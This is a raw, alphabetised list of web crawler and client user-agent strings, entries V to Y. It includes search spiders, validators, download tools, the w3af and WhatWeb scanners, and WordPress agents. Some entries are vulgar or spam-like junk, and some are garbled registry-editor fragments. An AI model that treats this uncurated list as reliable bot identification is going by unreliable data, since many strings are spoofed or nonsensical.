ClickSense/4.0 (support@lucidmedia.com; http://www.lucidmedia.com/) VB Project vBSEO (http://www.vbseo.com) VDSX.nl Search : http://www.vdsx.nl/spider.html venkatpb bot veoh-\xe2\xb8\xb3\xe2\xb8\xb40 service (NT 5.1; IE 6.0.2900.2180; en-US Windows) Google 2.1 versus crawler from eda.baykan@epfl.ch VhoScriptSphider ViagraBot (Every page makes me harder!~) vik-robot/Nutch-1.0 (vikspider; http://vik.com; chenlibiti@163.com) VisBot/1.0 (Visvo.com; http://www.visvo.com/bot.html; bot@visvo.com) VisBot/2.0 (Visvo.com Crawler; http://www.visvo.com/bot.html; bot@visvo.com) Vision Research Lab image spider at vision.ece.ucsb.edu VMBot/0.7.2 (VMBot; http://www.VerticalMatch.com/; vmbot@tradedot.com) void-bot/0.1 (bot@void.be; http://www.void.be/) void/1.0 (void) volverine/Nutch-0.9 (agentspider; beast@mail.com) Voracious/0.1 Vortex Vortex 3 voyager-hc/1.0 voyager-hc/1.0 (+http://www.kosmix.com/crawler.html) voyager-hc/1.0 (+http://www.kosmix.com/crawler.html) voyager-partner-deep/1.0 voyager/1.0 voyager/1.0 (+http://www.kosmix.com/html/crawler.html) Voyager/1.31 (Acorn RISC OS; ARM) voyager/2.0 (http://www.kosmix.com/crawler.html) voyager/2.0 (http://www.kosmix.com/html/crawler.html) VSynCrawler/1.0 VWBOT/Nutch-0.9-dev (VWBOT Nutch Crawler; http://vwbot.cs.uiuc.edu; vwbot@cs.uiuc.edu) WNDOW$ Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\MCRO$OFT\W*NDOW$\Curr entVersion\Internet Settings\5.... w3af.sourceforge.net W3C-checklink/4.3 [4.42] libwww-perl/5.805 W3C-checklink/4.3 [4.42] libwww-perl/5.820 W3C-checklink/4.4 [4.147] libwww-perl/5.823 W3C-checklink/4.5 [4.154] libwww-perl/5.823 W3C-checklink/4.5 [4.160] libwww-perl/5.823 W3C-checklink/4.6 [4.194] libwww-perl/5.836 W3C_Validator/1.0 libwww-perl/0.40 W3C_Validator/1.1 W3C_Validator/1.305.2.12 libwww-perl/5.64 W3C_Validator/1.305.2.148 libwww-perl/5.803 W3C_Validator/1.555 W3C_Validator/1.575 W3C_Validator/1.591 W3C_Validator/1.606 W3C_Validator/1.654 W3C_Validator/1.765 W3C_Validator/1.767 W3C_Validator/1.781 W3CLineMode/5.4.0 libwww/5.x.x W3CRobot/5.4.0 libwww/5.4.0 WannaBe (Macintosh; 68k) WDG_Validator/1.6.4 WE SUCK YOUR BALLS!! DBLBot/1.0; +http://www.dontbuylists.com/ Web 2.0 Validator/~2.7183 (web2.0validator.com) Web Hosting PayPal Scripts N Solutions Web Stats v4 Web-sniffer/1.0.25 (+http://web-sniffer.net/) Web-sniffer/1.0.28 (+http://web-sniffer.net/) Web-sniffer/1.0.34 (+http://web-sniffer.net/) Web-sniffer/1.0.37 (+http://web-sniffer.net/) web_au larbin2.6.3@unspecified.mail web_aw larbin2.6.3@unspecified.mail web_ax larbin2.6.3@unspecified.mail web_az larbin2.6.3@unspecified.mail web_bi larbin2.6.3@unspecified.mail web_bk larbin2.6.3@unspecified.mail web_bo larbin2.6.3@unspecified.mail web_br larbin2.6.3@unspecified.mail web2express.org/Nutch-0.9-dev (leveled playing field; http://web2express.org/; info at web2express.org) WebAlta Crawler/1.3.23 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebAlta Crawler/1.3.25 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebAlta Crawler/1.3.33 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebAlta Crawler/1.3.34 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebAlta Crawler/2.0 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebAlta Crawler/2.3.23 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html) WebarooBot (Webaroo Bot; http://www.webaroo.com/rooSiteOwners.htm) Webbot Ero-advertising; +http://ero-advertising.com webcheck 1.10.1 WebClient webcollage/1.135a WebCopier WebCopier v2.7 WebCopier v3.0.1 WebCopier v4.5 WebCopier v4.6 WebCopier v5.0 WebCopier vx.x WebCopier vx.xa WebCorp/1.0 WebCorp/1.1 WebCrawler v1.3 Webcrawler/Nutch-1.0 (Test crawl; lucene.apache.org/nutch/; a@b.net) Webcrawler/Nutch-1.0-dev (Test crawl; lucene.apache.org/nutch/; a@b.net) WebCrawler_1.1 internet@bredband.net Webdup/0.9 WebFetch WebGo IS - 4380 WebGo IS - 4488 WebGo IS - 4500 WebGo IS - 4504 WebIndexer/1-dev (Web Indexer; mailto://webindexerv1@yahoo.com; webindexerv1@yahoo.com) WebmasterBrowser/1.0 webmoney.advisor.bot/Nutch-1.0 webmoney.advisor/Nutch-1.0 webmoney.advisor/Nutch-1.2 WebMoney/1.0 (AdvisorBot 0.1)/Nutch-1.2 WeBot/0.1 WeBoX/0.xx WebQL WebReaper [support@webreaper.net] WebResult WebSauger 1.20b Webscope/Nutch-0.9-dev (http://www.cs.washington.edu/homes/mjc/agent.html) WebServerStats/1.0 (compatible; Windows NT 6.1; .NET CLR 4.0.30128.1) WebServerStats/1.0 (compatible; Windows NT 6.1; .NET CLR 4.0.30319.1) Website Explorer/0.9.9.9 websitedbspider+(+http://www.websitedb.org/) websitethumbnail.de snapshot spider WebSpider+ Websquash.com (Add url robot) webstripper WebToaster V0.9 Alpha - See http://www.webtoaster.com/ for details Webtrendmap WebTrends/3.0 (WinNT) Webvisor/1.0 (http://webvisor.ru) WebWarper WebWorkerBee WebZIP WebZIP/x.x (http://www.spidersoft.com) weivel/Nutch-0.9 (weive.com - web spider; http://www.weive.com/page/view/weivel; weivel at weive dot com) Wells Search II Wepbot/3.0 (+http://www.nurago.com/index.php?id=210); Jakarta Commons-HttpClient/3.1 WeRelateBot/0.9 (WeRelate; http://www.werelate.org/wiki/WeRelate:Bot; dallan@werelate.org) West Wind Internet Protocols 4.xx wevonzo (+http://www.wevonzo.xe.cx/bot.php) WEVONZO Crawler wget Wget/1.10 Wget/1.10.1 Wget/1.10.1 (Red Hat modified) Wget/1.10.2 Wget/1.10.2 (Red Hat modified) Wget/1.11 Wget/1.11.1 Wget/1.11.1 (Red Hat modified) Wget/1.11.2 Wget/1.11.3 Wget/1.11.4 Wget/1.11.4 (Red Hat modified) Wget/1.11.4 Red Hat modified Wget/1.12 (cygwin) Wget/1.12 (darwin9.8.0) Wget/1.12 (linux-gnu) Wget/1.5.2 Wget/1.5.3.1 Wget/1.7.1 Wget/1.8 Wget/1.8.1 Wget/1.8.2 Wget/1.9 Wget/1.9+cvs-stable (Red Hat modified) Wget/1.9.1 Wget/2.00.1b (Red Hat modified) Wget/2.00.1b (Red Hat modified) - (http://www.tdmsic.org) wget/4.12.11 wget1.1 WhatsUp_Gold/7.0 WhatWeb/0.4 WhatWeb/0.4.6 whiteiexpres/Nutch-0.9 (whiteiWebBot; whiteiexpress.com; whiteye@kon-x.com) Who.is Bot Whois365 Inquirer - http://www.whois365.com WHttpTest WikiBot/1.0-http://www.wedwiki.com/robot.htm wikiwix-bot-3.0 Willow Internet Crawler by Twotrees V2.1 Windows Registry Editor Version 5.00 [HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User Age... Windows-Live-Social-Object-Extractor-Engine/1.0 Windows-RSS-Platform/2.0 (MSIE 8.0; Windows NT 6.0) WinHTTP Example/1.0 WinHTTP Robot WinHTTP Robot/1.0 WinHttp664114 winhttprequest Bot-Trap-Test WinInet WinInet Test WinInetSimpleRequest Wink Client v1.0 Wink Client v1.1.1 AppEngine-Google; (+http://code.google.com/appengine; appid: doyoumean-info) Wink Client v1.1.1 AppEngine-Google; (+http://code.google.com/appengine; appid: lakerda22) WinkBot/0.06 (Wink.com search engine web crawler; http://www.wink.com/Wink:WinkBot; winkbot@wink.com) WinPodder (http://winpodder.com) WinPodder/0.06beta (http://winpodder.com) WinPodder/1.0 (http://winpodder.com) WinWebBot/1.0; (Balaena Ltd, UK); http://www.balaena.com/winwebbot.html; winwebbot@balaena.com;) WIRE/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it) WIRE/0.21 (Linux; i686; Bot,Robot,Spider,Crawler) WIRE/1.0 (Linux;i686;Bot,Robot,Spider,Crawler) wisponbot(http://www.wispon.com,mailto:wispon@theory.snu.ac.kr) Wk/1.0 libwww/5.4.0 Wolfram Research WooRank Woovi/Nutch-1.0 (http://www.woovi.com/bot) Woovi/v1.0 (http://woovi.com; bot@woovi.com) WordChampBot WordPress (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 WordPress-B-/2.6.2NOFALSE WordPress-Do-P-/2.6.2 WordPress.com mShots; http://support.wordpress.com/contact/ WordPress/2.0.5 WordPress/2.1.2 WordPress/2.2 WordPress/2.3 WordPress/2.6.2 WordPress/2.6.3 WordPress/2.6.5 WordPress/2.7 WordPress/2.7.1 WordPress/2.8.3; http://www.mofans.org WordPress/2.8.4; http://clickbankways.com WordPress/2.8.4; http://www.scamtimes.com WordPress/2.8.4; http://www.spinell.se WordPress/2.8.5; http://blah.tamagothi.de WordPress/2.8.5; http://localhost WordPress/2.8.6; http://blunomridig.adsidirect.com WordPress/2.8.6; http://smearuniz.promcommerce.com WordPress/2.8; http://digest.irealize.eu WordPress/2.8; http://grd.net.au/Blog WordPress/2.9-rare; http://www.kkovacs.eu WordPress/2.9.1-beta1; http://tp4ww.com WordPress/2.9.1; http://grd.net.au/blog WordPress/2.9.1; http://nop.heliohost.org WordPress/2.9.1; http://www.jatinmahindra.com WordPress/2.9.1; http://www.westlifetards.com WordPress/2.9.2; http://kouga.us WordPress/2.9.2; http://marketing.9downsoft.com WordPress/2.9.2; http://marketing.9downsoft.net WordPress/2.9.2; http://perfublog.com/new WordPress/2.9.2; http://sitedart.org WordPress/2.9.2; http://www.w3xperts.com WordPress/2.9.2; http://www.webmarketingdigest.it WordPress/2.9.2; http://www.westlifetards.com WordPress/3.0; http://www.freeonlinemedicaladvice.com WordPress/650 WordPress/abc; http://eromang.zataz.com WordPress/abc; http://freshlifeministries.org/socialnetwork WordPress/MU; http://egadioniputri.wordpress.com WordPress/MU; http://scamfraudalert.wordpress.com WordPress/MU; http://westlifetards.wordpress.com woriobot (+http://www.worio.com) woriobot (+http://www.worio.com/) workload-generator/Nutch-0.9 (web20-setup; https://twiki.hpl.hp.com/bin/view/Main/WebsearchNotes) World-Check URL-Checker World-Check URL-Checker ($Revision$) libwww-perl/5.805 World-Check URL-Checker ($Revision: 427 $) libwww-perl/5.803 World-Check URL-Checker ($Revision: 427 $) libwww-perl/5.805 worldwidecreations.com Linker WorldWideweb (NEXT) WorQmada/1.0 WS_FTP/12.2 WTABOT Version 1.6.7.4 (http://www.webtrafficagents.com) WWW-Mechanize/0.6.9 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/0.7.5 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/0.7.6 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/0.7.8 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/0.72 WWW-Mechanize/0.9.3 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/1.0.0 (http://rubyforge.org/projects/mechanize/) WWW-Mechanize/1.12 WWW-Mechanize/1.18 WWW-Mechanize/1.20 WWW-Mechanize/1.22 WWW-Mechanize/1.30 WWW-Mechanize/1.34 WWW-Mechanize/1.52 WWW-Mechanize/1.54 WWW-Mechanize/1.56 WWW-Mechanize/1.60 WWW-Mechanize/1.62 WWW-Mechanize/1.64 WWW-Mechanize/1.66 www.bilgisayar.in arama motoru www.turkiyespot.com ucuz hosting merkezi www.fi crawler, contact crawler@www.fi www.hosting-offer.com SpaceBison/0.01 [fu] (Win67; X; ShonenKnife) www.hosting-offer.com/SpaceBison/0.01 [fu] (Win67; X; ShonenKnife) www.light2art.de www.light2art.com www.website-analyzer.net Website Analyzer Crawler WWWOFFLE/2.9a wwwrobot wwwster/1.4 (Beta, mailto:gue@cis.uni-muenchen.de) WyoBot 1.0 Xaldon WebSpider Xaldon WebSpider 2.7.b6 Xaldon WebSpider 2.7.b8 XBot xChaos_Arachne/5.1.93;UE12,r10 (www.cisnet.com/glennmcc/) Xenu Link Sleuth 1.2a Xenu Link Sleuth 1.2d Xenu Link Sleuth 1.2e Xenu Link Sleuth 1.2f Xenu Link Sleuth 1.2g Xenu Link Sleuth 1.2h Xenu Link Sleuth 1.2i Xenu Link Sleuth 1.2j Xenu Link Sleuth 1.2j (beta) Xenu Link Sleuth 1.3 Xenu Link Sleuth 1.3.5 Xenu Link Sleuth 1.3.6 beta Xenu Link Sleuth 1.3c Xenu Link Sleuth/1.3.7 Xenu Link Sleuth/1.3.8 XeonBot/1.0 (+http://ghostblade.us/index/bot.php) Xiino/3.4.1E [en] (v. 5.4.8; 153x130; c16/d) XMLHTTP/1.0 XRL/3.00 (Linux; i686; en-us) (+http://metamark.net/about) Y!J-BRI/0.0.1 crawler ( http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html ) Y!J-BRO/YFSJ crawler (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.htm... Y!J-BSC/1.0 (http://help.yahoo.co.jp/help/jp/blog-search/) Y!J-PSC/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html) Y!TunnelPro Yaanb/1.5.001 (compatible; Win64;) Yaanb/1.5.002 (compatible; Win64;+http://www.yaanb.com/company/bot.hmtl) yacy (www.yacy.net; v20040602; i386 Linux 2.4.27-2-686; java 1.4.2-03; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.4.27-3-k7; java 1.4.2-03; Europe/en) yacy (www.yacy.net; v20040602; i386 Linux 2.4.31; java 1.5.0_04; Europe/en) yacy (www.yacy.net; v20040602; i386 Linux 2.4.32; java 1.5.0_05; Europe/en) yacy (www.yacy.net; v20040602; i386 Linux 2.6.14-2-k7-smp; java 1.5.0_09; Europe/en) yacy (www.yacy.net; v20040602; i386 Linux 2.6.15.4.k7.g4.acpi.apic; java 1.5.0_08; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.16-2-xen-vserver-amd64-k8; java 1.6.0-beta; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.16.13-4-smp; java 1.5.0_06; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.16.13-xenU; java 1.5.0_06; UTC/en) yacy (www.yacy.net; v20040602; i386 Linux 2.6.16.21-0.25-default; java 1.4.2_11; Europe/en) yacy (www.yacy.net; v20040602; i386 Linux 2.6.17-10-386; java 1.5.0_08; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.17-10-generic; java 1.5.0_08; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.17-2-686; java 1.5.0_06; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.17.13; java 1.5.0_08; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.18-1.2239.fc5; java 1.5.0_09; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-022stab078.14; java 1.5.0_09; GMT/en) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-2-k7; java 1.5.0_05; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-24-default; java 1.5.0_06; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-24-default; java 1.5.0_09; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-24.17-smp; java 1.4.2_11; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-3-686; java 1.5.0_09; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-3-686; java 1.5.0_10; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8-3-k7; java 1.4.2-03; Europe/de) yacy (www.yacy.net; v20040602; i386 Linux 2.6.8.1; java 1.4.2_11; Europe/en) yacy (www.yacy.net; v20040602; x86 Windows 2000 5.0; java 1.4.2_10; Europe/de) yacy (www.yacy.net; v20040602; x86 Windows XP 5.1; java 1.5.0_11; Europe/de) yacy (www.yacy.net; v20040602; x86 Windows XP 5.1; java 1.6.0; Europe/it) yacybot (amd64 FreeBSD 7.0-RELEASE-p2; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 FreeBSD 7.1-PRERELEASE; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 FreeBSD 7.1-STABLE; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 FreeBSD 8.0-RELEASE-p2; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.12.4-sis190-050808a; java 1.5.0_02; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html yacybot (amd64 Linux 2.6.16.46-0.12-smp; java 1.5.0; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18-028stab064.8; java 1.6.0_17; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18-128.4.1.el5; java 1.6.0_14; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18-164.15.1.el5; java 1.6.0_14; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18-194.11.3.el5xen; java 1.6.0_0; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18-xen-3.1-2-amd64; java 1.5.0_14; GMT+01:00/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18.8-0.10-default; java 1.5.0_16; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.18.8-0.7-default; java 1.5.0_13; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.22-14-server; java 1.6.0_04; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.22-14-server; java 1.6.0_04; GMT/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.22-14-server; java 1.6.0_06; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-16-generic; java 1.6.0_06; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-16-server; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-19-generic; java 1.5.0_15; GMT+01:00/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-19-generic; java 1.6.0_06; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-19-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-23-generic; java 1.6.0_07; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-23-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-23-generic; java 1.6.0_07; GMT/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-26-generic; java 1.6.0_0; Europe/de) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.24-etchnhalf.1-amd64; java 1.6.0_07; UTC/en) http://yacy.net/bot.html yacybot (amd64 Linux 2.6.25-gentoo-r6; java 1.6.0_07; Europe/en) http://yacy.net/bot.html